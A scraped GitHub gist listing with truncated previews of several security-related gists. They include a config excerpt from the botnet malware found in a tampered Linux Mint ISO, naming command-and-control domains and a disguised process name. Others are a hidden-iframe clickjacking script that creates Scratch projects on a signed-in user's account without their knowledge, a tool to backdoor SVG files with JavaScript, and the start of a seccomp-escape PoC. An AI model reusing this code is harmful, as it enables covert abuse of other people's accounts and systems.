Skip to content

Instantly share code, notes, and snippets.

View Arinerron's full-sized avatar
:shipit:
Free and Open Source Bugs (FOSB)

Aaron Esau Arinerron

:shipit:
Free and Open Source Bugs (FOSB)
View GitHub Profile
@MegaApuTurkUltra
MegaApuTurkUltra / internetometer-bot.php
Created February 21, 2016 20:37
How 2 git interwebz
<?php
$verbose = fopen('php://temp', 'w+');
function curl_boilerplate($curl) {
global $verbose;
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_COOKIEJAR, realpath("internetometer.cookies"));
curl_setopt($curl, CURLOPT_VERBOSE, 1);
@kurobeats
kurobeats / man.cy
Created February 21, 2016 09:00
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@Arinerron
Arinerron / project-creator.html
Last active February 8, 2017 04:06
Scratch project creator script here creates a ton of Scratch projects without the user knowing. WARNING: It will take a while to delete all these projects this script creates, so use with caution! The user must be signed in on Scratch.mit.edu for this to work, but really, this script can be on any site to work.
<script>
var numb = 30; // The number of projects to create
var warn = true; // Warn user about what's about to happen?
if(warn) {
var resp = prompt("Are you sure you want to create " + numb + " untitled projects? Type (y/n)");
if(resp == "y" || resp == "yes" || resp == "Y" || resp == "yep" || resp == "yeah") {
for(var i = 0; i < numb; i++) {
document.write("<div qjid=\"quickjack\" style=\"overflow: hidden; width: 1px; height: 2px; position: relative;\" id=\"cksl6\">\r\n<div class=\"ol\" style=\"position: absolute; width:1px; height: 2px; z-index:90; overflow: auto;\"><\/div><iframe name=\"cksl7\" src=\"http:\/\/scratch.mit.edu\/create\" style=\"border: 0pt none ; left: -724px; top: -32px; position: absolute; width: 1921px; height: 1078px;\" scrolling=\"no\"><\/iframe><\/div>");
}
@majestrate
majestrate / js_svg.py
Last active April 18, 2017 02:58
script to modify an svg to have js in it
#!/usr/bin/env python3
#
# tool to backdoor svg with js
#
# usage: ./js_svg.py input.svg payload.js > output.svg
#
from bs4 import BeautifulSoup as BS
from bs4 import CData
@thejh
thejh / seccomp_ptrace_escape.c
Last active September 2, 2024 05:46
PoC for bypassing seccomp if ptrace is allowed (known, documented issue, even mentioned in the manpage)
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
@eevee
eevee / spabs.md
Last active June 22, 2025 22:20
tabs to spaces